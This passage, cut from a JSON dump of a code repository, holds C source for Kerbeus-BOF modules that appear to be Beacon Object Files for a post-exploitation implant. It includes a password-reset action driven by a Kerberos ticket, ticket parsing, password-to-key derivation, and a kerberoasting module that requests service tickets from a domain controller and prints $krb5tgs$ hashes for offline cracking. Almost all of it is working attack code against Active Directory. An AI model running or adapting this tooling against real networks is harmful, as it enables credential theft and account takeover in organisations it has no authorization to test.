};\n                    if (BytesToAsnDecode3(decBytes, decBytesSize, FALSE, &decBytesAsn)) break;\n\n                    byte* responseCodeBytes = NULL;\n                    int responseCodeBytesSize = 0;\n                    if (AsnGetOctetString(&(decBytesAsn.sub[0].sub[0].sub[0]), &responseCodeBytes, &responseCodeBytesSize)) break;\n\n                    if (responseCodeBytesSize > 1) {\n                        short resultCode = 0;\n                        ((byte*)(&resultCode))[1] = responseCodeBytes[0];\n                        ((byte*)(&resultCode))[0] = responseCodeBytes[1];\n\n                        if (resultCode == 0) {\n                            PRINT_OUT(\"\\n[+] Password change success!\\n\");\n                            return;\n                        }\n                        else {\n                            char* resultError = \"\";\n\n                            if (responseCodeBytesSize > 4) {\n                                if (responseCodeBytes[2] == 0 && responseCodeBytes[3] == 0) {\n                                    int minPasswordLen = responseCodeBytes[7];\n                                    int passwordHistory = responseCodeBytes[11];\n                                    INT64 expire = 0, min_passwordage = 0;\n                                    ((byte*)(&expire))[7] = responseCodeBytes[16];\n                                    ((byte*)(&expire))[6] = responseCodeBytes[17];\n                                    ((byte*)(&expire))[5] = responseCodeBytes[18];\n                                    ((byte*)(&expire))[4] = responseCodeBytes[19];\n                                    ((byte*)(&expire))[3] = responseCodeBytes[20];\n                                    ((byte*)(&expire))[2] = responseCodeBytes[21];\n                                    ((byte*)(&expire))[1] = responseCodeBytes[22];\n                                    ((byte*)(&expire))[0] = responseCodeBytes[23];\n                                    ((byte*)(&min_passwordage))[7] = responseCodeBytes[24];\n                                    ((byte*)(&min_passwordage))[6] = responseCodeBytes[25];\n                                    ((byte*)(&min_passwordage))[5] = responseCodeBytes[26];\n                                    ((byte*)(&min_passwordage))[4] = responseCodeBytes[27];\n                                    ((byte*)(&min_passwordage))[3] = responseCodeBytes[28];\n                                    ((byte*)(&min_passwordage))[2] = responseCodeBytes[29];\n                                    ((byte*)(&min_passwordage))[1] = responseCodeBytes[30];\n                                    ((byte*)(&min_passwordage))[0] = responseCodeBytes[31];\n\n                                    int exp = expire / 0xc92a69c000;\n                                    int mp = min_passwordage / 0xc92a69c000;\n\n                                    PRINT_OUT(\"\\n[X] Password change error: %s\\n\", lookupKadminErrorCode(resultCode));\n                                    PRINT_OUT(\"\\tMinimum Password Length: %d\\n\", minPasswordLen);\n                                    PRINT_OUT(\"\\tPassword History: %d\\n\", passwordHistory);\n                                    PRINT_OUT(\"\\tExpiry: %d day(s)\\n\", exp);\n                                    PRINT_OUT(\"\\tMinimum Password Age: %d day(s)\\n\", mp);\n                                }\n                                else {\n                                    PRINT_OUT(\"\\n[X] Password change error: %s %s\\n\", lookupKadminErrorCode(resultCode), responseCodeBytes + 2);\n                                }\n                            }\n                            else {\n                                PRINT_OUT(\"\\n[X] Password change error: %s\\n\", lookupKadminErrorCode(resultCode));\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }\n    PRINT_OUT(\"\\n[x] Password not changed.\\n\");\n}\n\nvoid CHANGEPW_RUN( PCHAR Buffer, DWORD Length ) {\n    PRINT_OUT(\"[*] Action: Reset User Password\\n\");\n\n    char* dc           = NULL;\n    char* targetUser   = NULL;\n    char* targetDomain = NULL;\n    char* newPassword  = NULL;\n    byte* ticket       = NULL;\n\n    for (int i = 0; i < Length; i++) {\n        i += GetStrParam(Buffer + i, Length - i, \"/dc:\", 4, &dc);\n        i += GetStrParam(Buffer + i, Length - i, \"/ticket:\", 8, &ticket);\n        i += GetStrParam(Buffer + i, Length - i, \"/targetuser:\", 12, &targetUser);\n        i += GetStrParam(Buffer + i, Length - i, \"/targetdomain:\", 14, &targetDomain);\n        i += GetStrParam(Buffer + i, Length - i, \"/new:\", 5, &newPassword);\n    }\n\n    GetDomainInfo(NULL, &dc);\n    if (dc == NULL) {\n        PRINT_OUT(\"[X] Could not retrieve domain information!\\n\\n\");\n        return;\n    }\n\n    if (newPassword == NULL) {\n        PRINT_OUT(\"\\n[X] New password must be supplied with /new:X !\\n\");\n        return;\n    }\n\n    if (ticket)\n        ResetUserPassword(ticket, newPassword, dc, targetUser, targetDomain);\n    else\n        PRINT_OUT(\"\\n[X] A /ticket:X needs to be supplied!\\n\");\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        CHANGEPW_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/describe/describe.c",
    "content": "#include \"_include/asn_decode.c\"\n#include \"_include/crypt_b64.c\"\n\nvoid DisplayTicket( KRB_CRED cred, int indentLevel ) {\n    DateTime starttime = cred.enc_part.ticket_info[0].starttime;\n    DateTime endtime = cred.enc_part.ticket_info[0].endtime;\n    DateTime renew_till = cred.enc_part.ticket_info[0].renew_till;\n    uint flags = cred.enc_part.ticket_info[0].flags;\n\n    if (cred.enc_part.ticket_info[0].sname.name_count == 1)\n        PRINT_OUT(\"  ServiceName              :  %s\\n\", cred.enc_part.ticket_info[0].sname.name_string[0]);\n    else if (cred.enc_part.ticket_info[0].sname.name_count > 1)\n        PRINT_OUT(\"  ServiceName              :  %s/%s\\n\", cred.enc_part.ticket_info[0].sname.name_string[0], cred.enc_part.ticket_info[0].sname.name_string[1]);\n\n    PRINT_OUT(\"  ServiceRealm             :  %s\\n\", cred.enc_part.ticket_info[0].srealm);\n\n    if (cred.enc_part.ticket_info[0].pname.name_count == 1)\n        PRINT_OUT(\"  UserName                 :  %s\\n\", cred.enc_part.ticket_info[0].pname.name_string[0]);\n    else if (cred.enc_part.ticket_info[0].pname.name_count > 1)\n        PRINT_OUT(\"  UserName                 :  %s@%s\\n\", cred.enc_part.ticket_info[0].pname.name_string[0], cred.enc_part.ticket_info[0].pname.name_string[1]);\n\n    PRINT_OUT(\"  UserRealm                :  %s\\n\", cred.enc_part.ticket_info[0].prealm);\n    PRINT_OUT(\"  StartTime (UTC)          :  %02d.%02d.%04d %d:%d:%d\\n\", starttime.day, starttime.month, starttime.year, starttime.hour, starttime.minute, starttime.second);\n    PRINT_OUT(\"  EndTime (UTC)            :  %02d.%02d.%04d %d:%d:%d\\n\", endtime.day, endtime.month, endtime.year, endtime.hour, endtime.minute, endtime.second);\n    PRINT_OUT(\"  RenewTill (UTC)          :  %02d.%02d.%04d %d:%d:%d\\n\", renew_till.day, renew_till.month, renew_till.year, renew_till.hour, renew_till.minute, renew_till.second);\n\n    PRINT_OUT(\"  Flags                    :  \");\n    if (flags & reserved)\t\tPRINT_OUT(\"reserved \");\n    if (flags & forwardable)\tPRINT_OUT(\"forwardable \");\n    if (flags & forwarded)\t\tPRINT_OUT(\"forwarded \");\n    if (flags & proxiable)\t\tPRINT_OUT(\"proxiable \");\n    if (flags & proxy)\t\t\tPRINT_OUT(\"proxy \");\n    if (flags & may_postdate)\tPRINT_OUT(\"may_postdate \");\n    if (flags & postdated)\t\tPRINT_OUT(\"postdated \");\n    if (flags & invalid)\t\tPRINT_OUT(\"invalid \");\n    if (flags & renewable)\t\tPRINT_OUT(\"renewable \");\n    if (flags & initial)\t\tPRINT_OUT(\"initial \");\n    if (flags & pre_authent)\tPRINT_OUT(\"pre_authent \");\n    if (flags & hw_authent)\t\tPRINT_OUT(\"hw_authent \");\n    if (flags & ok_as_delegate) PRINT_OUT(\"ok_as_delegate \");\n    if (flags & anonymous)\t\tPRINT_OUT(\"anonymous \");\n    if (flags & enc_pa_rep)\t\tPRINT_OUT(\"enc_pa_rep \");\n    if (flags & reserved1)\t\tPRINT_OUT(\"reserved1 \");\n    PRINT_OUT(\"\\n\");\n\n    if (cred.enc_part.ticket_info[0].key.key_type == rc4_hmac)\n        PRINT_OUT(\"  KeyType                  :  rc4_hmac\\n\");\n    else if (cred.enc_part.ticket_info[0].key.key_type == aes128_cts_hmac_sha1)\n        PRINT_OUT(\"  KeyType                  :  aes128_cts_hmac_sha1\\n\");\n    else if (cred.enc_part.ticket_info[0].key.key_type == aes256_cts_hmac_sha1)\n        PRINT_OUT(\"  KeyType                  :  aes256_cts_hmac_sha1\\n\");\n}\n\nvoid DescribeTicket(byte* ticket_b64) {\n    int bytesSize = 0;\n    byte* bytes = base64_decode(ticket_b64, &bytesSize);\n\n    KRB_CRED kirbi = { 0 };\n    AsnElt   asn_KRB_CRED = { 0 };\n    if (BytesToAsnDecode3(bytes, bytesSize, false, &asn_KRB_CRED)) return;\n    if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi)) return;\n    DisplayTicket(kirbi, 2);\n}\n\nvoid DESCRIBE_RUN( PCHAR Buffer, IN DWORD Length ) {\n    PRINT_OUT(\"[*] Action: Describe ticket\\n\\n\");\n\n    char* ticket = NULL;\n    for (int i = 0; i < Length; i++)\n        i += GetStrParam(Buffer + i, Length - i, \"/ticket:\", 8, &ticket );\n\n    if (ticket)\n        DescribeTicket(ticket);\n    else\n        PRINT_OUT(\"[X] You must supply a /ticket!\\n\\n\");\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        DESCRIBE_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/hash/hash.c",
    "content": "#include \"_include/functions.c\"\n#include \"_include/crypt_key.c\"\n\nvoid GenerateHashes(char* user, char* domain, char* password) {\n    PRINT_OUT(\"[*] Input Password           : %s\\n\", password);\n    if (user && domain) {\n        PRINT_OUT(\"[*] Input Username           : %s\\n\", user);\n        PRINT_OUT(\"[*] Input Domain             : %s\\n\", domain);\n    }\n\n    int   rc4_hash_size = 0;\n    byte* rc4_hash = 0;\n    if (!get_key_rc4(password, &rc4_hash, &rc4_hash_size)) {\n        int hexHashLength = rc4_hash_size * 2 + 1;\n        char* hex_hash = MemAlloc(hexHashLength);\n        my_tohex(rc4_hash, rc4_hash_size, &hex_hash, hexHashLength);\n        PRINT_OUT(\"[*]     rc4_hmac             : %s\\n\", hex_hash);\n    }\n    if (user && domain) {\n        int   aes128_hash_size = 0;\n        byte* aes128_hash = 0;\n        if (!get_key_aes128(domain, user, password, &aes128_hash, &aes128_hash_size)) {\n            int hexHashLength = aes128_hash_size * 2 + 1;\n            char* hex_hash = MemAlloc(hexHashLength);\n            my_tohex(aes128_hash, aes128_hash_size, &hex_hash, hexHashLength);\n            PRINT_OUT(\"[*]     aes128_cts_hmac_sha1 : %s\\n\", hex_hash);\n        }\n\n        int   aes256_hash_size = 0;\n        byte* aes256_hash = 0;\n        if (!get_key_aes256(domain, user, password, &aes256_hash, &aes256_hash_size)) {\n            int hexHashLength = aes256_hash_size * 2 + 1;\n            char* hex_hash = MemAlloc(hexHashLength);\n            my_tohex(aes256_hash, aes256_hash_size, &hex_hash, hexHashLength);\n            PRINT_OUT(\"[*]     aes256_cts_hmac_sha1 : %s\\n\", hex_hash);\n        }\n    }\n}\n\nvoid HASH_RUN( PCHAR Buffer, IN DWORD Length ) {\n    PRINT_OUT(\"[*] Action: Calculate Password Hash(es)\\n\\n\");\n\n    char* user = NULL;\n    char* domain = NULL;\n    char* password = NULL;\n\n    for (int i = 0; i < Length; i++) {\n        i += GetStrParam(Buffer + i, Length - i, \"/user:\", 6, &user );\n        i += GetStrParam(Buffer + i, Length - i, \"/domain:\", 8, &domain );\n        i += GetStrParam(Buffer + i, Length - i, \"/password:\", 10, &password );\n    }\n\n    if (password)\n        GenerateHashes(user, domain, password);\n    else\n        PRINT_OUT(\"[X] /password:X must be supplied!\\n\");\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length ) {\n    INIT_BOF();\n\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    DWORD PARAM_SIZE = 0;\n    PBYTE PARAM = BeaconDataExtract(&parser, &PARAM_SIZE);\n\n    if( LoadFunc() )\n        PRINT_OUT(\"%s\\n\", \"Modules not loaded\");\n    else\n        HASH_RUN( PARAM, PARAM_SIZE );\n\n    FreeBank();\n\n    END_BOF();\n}"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/kerberoasting/kerberoasting.c",
    "content": "#include \"_include/asn_encode.c\"\n#include \"_include/asn_decode.c\"\n#include \"_include/crypt_b64.c\"\n#include \"_include/crypt_dec.c\"\n#include \"_include/connection.c\"\n\nvoid DisplayTGShash(KRB_CRED cred, BOOL kerberoastDisplay, char* kerberoastUser, char* kerberoastDomain) {\n    int encType = cred.tickets[0].enc_part.etype;\n    int snameLenth = 0;\n    for (int i = 0; i < cred.enc_part.ticket_info[0].sname.name_count; i++) {\n        snameLenth += my_strlen(cred.enc_part.ticket_info[0].sname.name_string[i]) + 1;\n    }\n\n    int index = 0;\n    char* sname = MemAlloc(snameLenth);\n    for (int i = 0; i < cred.enc_part.ticket_info[0].sname.name_count; i++) {\n        int l = my_strlen(cred.enc_part.ticket_info[0].sname.name_string[i]);\n        MemCpy(sname + index, cred.enc_part.ticket_info[0].sname.name_string[i], l);\n        index += l;\n        sname[index++] = '/';\n    }\n    sname[--snameLenth] = 0;\n\n\n    int kerberoastUserLength = my_strlen(kerberoastUser);\n    int kerberoastDomainLength = my_strlen(kerberoastDomain);\n    int hashStringLength = 19 + kerberoastUserLength + kerberoastDomainLength + snameLenth + cred.tickets[0].enc_part.cipher_size * 2;\n    char* hashString = MemAlloc(hashStringLength);\n\n    if (encType == 18 || encType == 17) {\n        MemCpy(hashString, \"$krb5tgs$17$\", 12);\n        MemCpy(hashString + 12, kerberoastUser, kerberoastUserLength);\n        hashString[12 + kerberoastUserLength] = '$';\n        MemCpy(hashString + 13 + kerberoastUserLength, kerberoastDomain, kerberoastDomainLength);\n        MemCpy(hashString + 13 + kerberoastUserLength + kerberoastDomainLength, \"$*\", 2);\n        MemCpy(hashString + 15 + kerberoastUserLength + kerberoastDomainLength, sname, snameLenth);\n        MemCpy(hashString + 15 + kerberoastUserLength + kerberoastDomainLength + snameLenth, \"*$\", 2);\n\n        char* c1 = hashString + 17 + kerberoastUserLength + kerberoastDomainLength + snameLenth;\n        my_tohex(cred.tickets[0].enc_part.cipher + cred.tickets[0].enc_part.cipher_size - 12, 12, &c1, 25);\n        hashString[17 + kerberoastUserLength + kerberoastDomainLength + snameLenth + 24] = '$';\n        char* c2 = hashString + 18 + kerberoastUserLength + kerberoastDomainLength + snameLenth + 24;\n        my_tohex(cred.tickets[0].enc_part.cipher, cred.tickets[0].enc_part.cipher_size - 12, &c2, (cred.tickets[0].enc_part.cipher_size - 12) * 2 + 1);\n\n        if (encType == 18)\n            hashString[10] = '8';\n    }\n    else {\n        MemCpy(hashString, \"$krb5tgs$23$*\", 13);\n        MemCpy(hashString + 13, kerberoastUser, kerberoastUserLength);\n        hashString[13 + kerberoastUserLength] = '$';\n        MemCpy(hashString + 14 + kerberoastUserLength, kerberoastDomain, kerberoastDomainLength);\n        hashString[14 + kerberoastUserLength + kerberoastDomainLength] = '$';\n        MemCpy(hashString + 15 + kerberoastUserLength + kerberoastDomainLength, sname, snameLenth);\n        MemCpy(hashString + 15 + kerberoastUserLength + kerberoastDomainLength + snameLenth, \"*$\", 2);\n\n        char* c1 = hashString + 17 + kerberoastUserLength + kerberoastDomainLength + snameLenth;\n        my_tohex(cred.tickets[0].enc_part.cipher, 16, &c1, 33);\n        hashString[17 + kerberoastUserLength + kerberoastDomainLength + snameLenth + 32] = '$';\n        char* c2 = hashString + 18 + kerberoastUserLength + kerberoastDomainLength + snameLenth + 32;\n        my_tohex(cred.tickets[0].enc_part.cipher + 16, cred.tickets[0].enc_part.cipher_size - 16, &c2, (cred.tickets[0].enc_part.cipher_size - 16) * 2 + 1);\n    }\n\n    PRINT_OUT(\"\\n%s\\n\", hashString);\n}\n\nBOOL New_PA_DATA(char* crealm, char* cname, Ticket providedTicket, EncryptionKey clientKey, BOOL opsec, byte* req_body, int req_body_length, PA_DATA* pa_data) {\n\n    AP_REQ* ap_req = MemAlloc(sizeof(AP_REQ));\n    if (!ap_req) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    ap_req->pvno = 5;\n    ap_req->msg_type = KERB_AP_REQ;\n    ap_req->ap_options = 0;\n    ap_req->ticket = providedTicket;\n    ap_req->keyUsage = KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR;\n    ap_req->key = clientKey;\n\n    DateTime dt = GetGmTimeAdd(0);\n\n    if (my_copybuf(&(ap_req->authenticator.crealm), crealm, my_strlen(crealm) + 1)) return TRUE;\n\n    ap_req->authenticator.authenticator_vno = 5;\n    ap_req->authenticator.ctime = dt;\n    ap_req->authenticator.cname.name_count = 1;\n    ap_req->authenticator.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    ap_req->authenticator.cname.name_string = MemAlloc(sizeof(void*) * ap_req->authenticator.cname.name_count);\n    if (!ap_req->authenticator.cname.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    if (my_copybuf(&(ap_req->authenticator.cname.name_string[0]), cname, my_strlen(cname) + 1)) return TRUE;\n\n    pa_data->type = PADATA_AP_REQ;\n    pa_data->value = ap_req;\n    return FALSE;\n}\n\nBOOL NewTGS_REP(AsnElt asn_TGS_REP, TGS_REP* tgs_rep) {\n    if (asn_TGS_REP.tagValue != KERB_TGS_REP) {\n        PRINT_OUT(\"TGS-REP tag value should be 13\");\n        return TRUE;\n    }\n    if ((asn_TGS_REP.subCount != 1) || (asn_TGS_REP.sub[0].tagValue != 16)) {\n        PRINT_OUT(\"First TGS-REP sub should be a sequence\");\n        return TRUE;\n    }\n\n    // extract the KDC-REP out\n    AsnElt* kdc_rep = asn_TGS_REP.sub[0].sub;\n    for (int i = 0; i < asn_TGS_REP.sub[0].subCount; i++) {\n        int tagValue = kdc_rep[i].tagValue;\n        if ( tagValue == 0 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->pvno))) return TRUE;\n        }\n        if ( tagValue == 1 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->msg_type))) return TRUE;\n        }\n        if ( tagValue == 2 ) {\n            if (AsnGetPaData(&(kdc_rep[i].sub[0]), &(tgs_rep->padata))) return TRUE;\n        }\n        if ( tagValue == 3 ) {\n            if (AsnGetString(&(kdc_rep[i].sub[0]), &(tgs_rep->crealm))) return TRUE;\n        }\n        if ( tagValue == 4 ) {\n            if (AsnGetPrincipalName(&(kdc_rep[i].sub[0]), &(tgs_rep->cname))) return TRUE;\n        }\n        if ( tagValue == 5 ) {\n            if (AsnGetTicket(&(kdc_rep[i].sub[0].sub[0]), &(tgs_rep->ticket))) return TRUE;\n        }\n        if ( tagValue == 6 ) {\n            if (AsnGetEncryptedData(&(kdc_rep[i].sub[0]), &(tgs_rep->enc_part))) return TRUE;\n        }\n    }\n    return FALSE;\n}\n\nBOOL NewAS_REP(AsnElt asn_AS_REP, AS_REP* as_rep) {\n    // AS-REP::= [APPLICATION 11] KDC-REQ\n    if ((asn_AS_REP.subCount != 1) || (asn_AS_REP.sub[0].tagValue != 16)) {\n        PRINT_OUT(\"First AS-REP sub should be a sequence\");\n        return TRUE;\n    }\n\n    AsnElt* kdc_rep = asn_AS_REP.sub[0].sub;\n\n    for (int i = 0; i < asn_AS_REP.sub[0].subCount; i++) {\n        int tagValue = kdc_rep[i].tagValue;\n        if ( tagValue == 0 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(as_rep->pvno))) return TRUE;\n        }\n        if ( tagValue == 1 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(as_rep->msg_type)))return TRUE;\n        }\n        if ( tagValue == 2 ) {\n            as_rep->pa_data_count = kdc_rep[i].subCount;\n            as_rep->pa_data = MemAlloc(as_rep->pa_data_count);\n            for (int j = 0; j < as_rep->pa_data_count; j++) {\n                PA_DATA padata = { 0 };\n                if (AsnGetPaData(&(kdc_rep[i].sub[j].sub[0]), &padata)) return TRUE;\n                as_rep->pa_data[j] = padata;\n            }\n        }\n        if ( tagValue == 3 ) {\n            if (AsnGetString(&(kdc_rep[i].sub[0]), &(as_rep->crealm))) return TRUE;\n        }\n        if ( tagValue == 4 ) {\n            if (AsnGetPrincipalName(&(kdc_rep[i].sub[0]), &(as_rep->cname))) return TRUE;\n        }\n        if ( tagValue == 5 ) {\n            if (kdc_rep[i].sub[0].subCount)\n                if (AsnGetTicket(&(kdc_rep[i].sub[0].sub[0]), &(as_rep->ticket))) return TRUE;\n        }\n        if ( tagValue == 6 ) {\n            if (AsnGetEncryptedData(&(kdc_rep[i].sub[0]), &(as_rep->enc_part))) return TRUE;\n        }\n    }\n    kdc_rep = NULL;\n    return FALSE;\n}\n\nBOOL NewTGS_REQ(char* userName, char* domain, char* sname, Ticket providedTicket, EncryptionKey clientKey, int requestEType, byte* tgs, BOOL opsec, BOOL u2u, BOOL unconstrained, char* targetDomain, char* s4uUser, BOOL keyList, BOOL renew, byte** reqBytes, int* reqBytesSize) {\n    AS_REQ req = { 0 };\n\n    req.pvno = 5;\n    req.msg_type = 12;\n\n    req.req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK;\n    req.req_body.till = 24 * 3600;\t\t // valid for 1h\n    ADVAPI32$SystemFunction036(&(req.req_body.nonce), 4);\n\n    req.req_body.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    req.req_body.cname.name_count = 1;\n    req.req_body.cname.name_string = MemAlloc(sizeof(void*) * req.req_body.cname.name_count);\n    if (!req.req_body.cname.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    if (my_copybuf(&(req.req_body.cname.name_string[0]), userName, my_strlen(userName) + 1)) return TRUE;\n\n    int partsCount = 0;\n    char** parts = my_strsplit( sname, '/', &partsCount );\n\n    if (my_copybuf(&req.req_body.realm, targetDomain, my_strlen(targetDomain) + 1)) return TRUE;\n    StrToUpper(req.req_body.realm);\n\n    int etypeIndex = 0;\n    req.req_body.etypes_count = 1;\n    req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n    if (!req.req_body.etypes) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    req.req_body.etypes[etypeIndex++] = requestEType;\n\n        if (partsCount == 1) {\n            // service and other unique instance (e.g. krbtgt)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n            req.req_body.sname.name_count = 2;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), domain, my_strlen(domain) + 1);\n        }\n        else if (partsCount == 2) {\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n            req.req_body.sname.name_count = 2;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), parts[1], my_strlen(parts[1]) + 1);\n        }\n        else if (partsCount == 3) {\n            //      SPN (sname/server.domain.com/blah)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_HST;\n            req.req_body.sname.name_count = 3;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), parts[1], my_strlen(parts[1]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[2]), parts[2], my_strlen(parts[2]) + 1);\n        }\n        else {\n            PRINT_OUT(\"[X] Error: invalid TGS_REQ sname '%s'\\n\", sname);\n        }\n\n    byte* cksum_Bytes = NULL;\n    int cksum_Bytes_length = 0;\n\n\n    // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.\n    PA_DATA padata = { 0 };\n    if (New_PA_DATA(domain, userName, providedTicket, clientKey, opsec, cksum_Bytes, cksum_Bytes_length, &padata)) return TRUE;\n\n    req.pa_data_count = 1 + (opsec && s4uUser) + (s4uUser || opsec || (tgs && !u2u)) + keyList;\n    int padata_index = 0;\n    req.pa_data = MemAlloc(req.pa_data_count * sizeof(PA_DATA));\n    req.pa_data[padata_index++] = padata;\n\n    // Add PA-DATA for KeyList request\n    AsnElt reqAsn = { 0 };\n    if (ReqToAsnEncode(req, 12, &reqAsn)) return TRUE;\n    if (AsnToBytesEncode(&reqAsn, reqBytesSize, reqBytes)) return TRUE;\n\n    return FALSE;\n}\n\nBOOL TGS(char* userName, char* domain, Ticket providedTicket, EncryptionKey clientKey, char* service, int requestEType, char* domainController, byte* tgs, BOOL opsec, BOOL ptt, BOOL u2u, char* targetDomain, char* targetUser, BOOL display, BOOL keyList, byte** retTgsBytes, int* retTgsBytesLength /*BOOL roast = FALSE, string asrepkey = \"\" */) {\n\n    PRINT_OUT(\"\\n[*] Building TGS - REQ request for: '%s'\\n\", service);\n\n    byte* tgsBytes = NULL;\n    int\t  tgsBytesLength = 0;\n    if (NewTGS_REQ(userName, domain, service, providedTicket, clientKey, requestEType, tgs, opsec, u2u, FALSE, targetDomain, targetUser, keyList, FALSE, &tgsBytes, &tgsBytesLength)) return TRUE;\n\n    byte* response = NULL;\n    int   responseSize = 0;\n    sendBytes(domainController, \"88\", tgsBytes, tgsBytesLength, &response, &responseSize);\n    if (responseSize == 0)\n        return TRUE;\n\n    // decode the supplied bytes to an AsnElt object\n    AsnElt responseAsn = { 0 };\n    if (BytesToAsnDecode(response, responseSize, &responseAsn)) return TRUE;\n\n    if (responseAsn.tagValue == KERB_TGS_REP) {\n//        if (display)\n            PRINT_OUT(\"[+] TGS request successful!\\n\");\n\n        // parse the response to an TGS-REP\n        TGS_REP rep = { 0 };\n        if (NewTGS_REP(responseAsn, &rep)) return TRUE;\n\n        byte* outBytes = NULL;\n        int  outBytesLength = 0;\n        if (decrypt(clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, rep.enc_part.cipher, rep.enc_part.cipher_size, &outBytes, &outBytesLength)) return TRUE;\n\n        AsnElt ae = { 0 };\n        if (BytesToAsnDecode(outBytes, outBytesLength, &ae)) return TRUE;\n\n        EncKDCRepPart encRepPart = { 0 };\n        if (AsnGetEncKDCRepPart(&(ae.sub[0]), &encRepPart)) return TRUE;\n\n        EncryptionKey keyListHash = { 0 };\n        // build the final KRB-CRED structure\n        KRB_CRED cred = { 0 };\n        cred.pvno = 5;\n        cred.msg_type = 22;\n        cred.ticket_count = 1;\n        cred.tickets = MemAlloc(cred.ticket_count * sizeof(Ticket));\n        if (!cred.tickets) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.tickets[0] = rep.ticket;\n\n        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart\n        KrbCredInfo info = { 0 };\n\n        info.key = encRepPart.key;\n        if (my_copybuf(&(info.key.key_value), encRepPart.key.key_value, encRepPart.key.key_size)) return TRUE;\n\n        if (my_copybuf(&(info.prealm), rep.crealm, my_strlen(rep.crealm) + 1)) return TRUE;\n\n        info.pname = rep.cname;\n        info.pname.name_string = MemAlloc(info.pname.name_count * sizeof(void*));\n        for (int i = 0; i < info.pname.name_count; i++)\n            if (my_copybuf(&(info.pname.name_string[i]), rep.cname.name_string[i], my_strlen(rep.cname.name_string[i]) + 1)) return TRUE;\n\n        info.flags = encRepPart.flags;\n        info.starttime = encRepPart.starttime;\n        info.endtime = encRepPart.endtime;\n        info.renew_till = encRepPart.renew_till;\n\n        if (my_copybuf(&(info.srealm), rep.crealm, my_strlen(rep.crealm) + 1)) return TRUE;\n\n        info.sname = encRepPart.sname;\n        info.sname.name_string = MemAlloc(info.sname.name_count * sizeof(void*));\n        for (int i = 0; i < info.sname.name_count; i++)\n            if (my_copybuf(&(info.sname.name_string[i]), encRepPart.sname.name_string[i], my_strlen(encRepPart.sname.name_string[i]) + 1)) return TRUE;\n\n        cred.enc_part.ticket_count = 1;\n        cred.enc_part.ticket_info = MemAlloc(cred.enc_part.ticket_count * sizeof(KrbCredInfo));\n        if (!cred.enc_part.ticket_info) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        cred.enc_part.ticket_info[0] = info;\n\n        AsnElt asnCred = { 0 };\n        if (AsnKrbCredEncode(&cred, &asnCred)) return TRUE;\n\n        byte* kirbiBytes = NULL;\n        int   kirbiBytesSize = 0;\n        if (AsnToBytesEncode(&asnCred, &kirbiBytesSize, &kirbiBytes)) return TRUE;\n\n        *retTgsBytes = kirbiBytes;\n        *retTgsBytesLength = kirbiBytesSize;\n        return FALSE;\n    }\n    else if (responseAsn.tagValue == KERB_ERROR) {\n        uint error_code = 0;\n        if (AsnGetErrorCode(&(responseAsn.sub[0]), &error_code)) return TRUE;\n        PRINT_OUT(\"\\n\\t[x] Kerberos error : %d\\n\", error_code);\n//        PRINT_OUT(\"\\n\\t[x] Kerberos error : %s\\n\", lookupKrbErrorCode(error_code));\n    }\n    else {\n        PRINT_OUT(\"\\n[X] Unknown application tag: %d\\n\", 